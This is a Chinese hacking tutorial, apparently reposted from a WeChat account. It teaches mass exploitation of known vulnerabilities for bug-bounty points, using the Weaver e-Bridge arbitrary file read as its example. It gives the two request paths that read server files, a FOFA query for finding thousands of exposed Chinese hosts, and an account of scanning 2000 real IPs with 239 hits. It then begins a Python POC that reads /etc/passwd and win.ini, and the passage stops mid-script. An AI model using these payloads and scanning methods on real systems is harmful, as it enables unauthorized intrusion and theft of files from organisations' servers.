更多黑客技能 公众号:暗网黑客
作者:掌控安全-琦丽丽
大家好,今天分享一下之前刷漏洞的方法,希望对你们有所帮助~
首先要上分那么一定是批量刷漏洞,不然不可能上得了分的,然后呢,既然要批量刷漏洞。
两种思路:
1.审计通用性漏洞
2.用大佬已公布的漏洞
思路1难度较大,耗时也较长。
思路2难度适中,就是需要写脚本或者使用别人已经写好的脚本。
(这里建议找一些关注度比较高,并且用户量较大的漏洞,然后自己通过写POC的方式刷漏洞,一般会捞到不少漏洞,所以要有足够的耐心先去找到这些合适的n day漏洞)下面我列举了一些我们常去找n day的地方。
关注安全动态
一定一定要时刻关注安全动态,毕竟我们是利用N day嘛,看各位手速,先到先得(嘻嘻
Exploit-db:https://www.exploit-db.com/ (这里会有不少exp)
多关注一些公众号,紧跟时事
绿盟漏扫系统插件更新日志:
http://update.nsfocus.com/update/listRsasDetail/v/vulsys (这是绿盟漏扫插件的更新日志,一般出新POC了,这边更新速度还是有的)
vulhub:https://github.com/vulhub/vulhub (漏洞复现很好用的docker环境,更新速度也比较快)
CNNVD:http://www.cnnvd.org.cn/
举一个N day的例子
这里我们用泛微云桥任意文件读取漏洞举例
泛微云桥简介:
为了满足用户提出的阿里钉钉与泛微OA集成需求,近日,泛微与阿里钉钉工程师多方联合,集合内部研发力量共同完成的”微信钉钉集成平台”已通过内部测试,正式面向用户。
这是泛微继与微信企业号合作后,又一个社交化管理平台的落地成果。
简单的说,一般比较大的企业都会用这个平台来做一些钉钉或者微信接口对接泛微OA的功能。
漏洞类型:任意文件读取漏洞
漏洞复现:复现过程很简单,两步就搞定
POC
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///{文件路径}&fileExt=txt
将读取到的id,代入到下面这个{id}的位置即可读取到你需要读取的文件
/file/fileNoLogin/{id}
就是这么简单两步就可以判断漏洞啦
收集全网的泛微云桥的url
最为重要的一步,收集足够多的目标。
最简单的方法,fofa一个普通会员就行
app="泛微-云桥e-Bridge" && country="CN" && is_domain=false
这里我为什么要让domain=false呢。
因为fofa上泛微云桥的资源大部分都是ip的,域名的很少。
但是不慌,我们可能常规会想到去反查域名。
这里我们使用其他方法,可以让这些漏洞能更容易找到主人,先卖个关子往下看吧23333
这里有6k+的目标哦。
通过fofa爬虫+普通会员先爬2000个IP,然后拿自己写好的多线程框架跑一下POC
先看看效果吧
爬虫结果:
这里我开了50个线程跑了2000个耗时1分多,就跑出来了239个漏洞
(其实去年我已经帮公司提交过一波了,结果还有这么多,看来大部分都不愿意修23333)
建立一个简单的漏洞扫描小框架
我们先建立好对应的文件夹框架,为了方便后期扩展,实现一个简单的漏扫平台。
然后再开始写对应的python脚本程序
值得注意的是,由于我们要导入poc和其他公共类的包,因此这里我们新建目录的时候不要选择新建文件夹,而选择新建python package。
或者你可以自行创建一个__init__.py文件,这样import的时候就可以搜索到对应包了
编写泛微云桥任意文件读取POC
这个POC很简单,熟悉python基本语法之后会用requests就可以了。
我们只需要用python去实现我们复现漏洞这个过程就行了,尤其是漏洞复现的这种PoC或者Exp本身也是在其他大佬Poc基础上变成一个自己的工具而已,只不过遇到有些不一样的漏洞,会遇到一些奇奇怪怪的bug23333.
那么我们确定一下思路
1.访问第一个payload,拿到响应包,其中id就是我们要的值(这里也就是我们判断漏洞的第一个点,这里需要考虑到windows和Linux两种操作系统不同的敏感文件的路径,windows我一般习惯用C:/windows/win.ini,linux习惯用/etc/passwd)
2.第二步,我们拿到相应包中的ID值之后,加到第二个payload后面,然后我们再访问一下,拿到我们要读取文件的内容,拿到内容后我们来判断一下漏洞是否存在,这里可以字符串判断尽量写的要减少误报
(简单的说就是匹配一些文件中一定会存在的字符串,但是要判断的字符串尽量不要太短,以防误报)
·# _*_ coding:utf-8 _*_
·# 泛微云桥任意文件读取
import requests
import urllib3
urllib3.disable_warnings() #忽略https证书告警
def poc(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
}
try:
paths = ['C:/windows/win.ini','etc/passwd'] #需要读取的文件列表(因为一般存在windo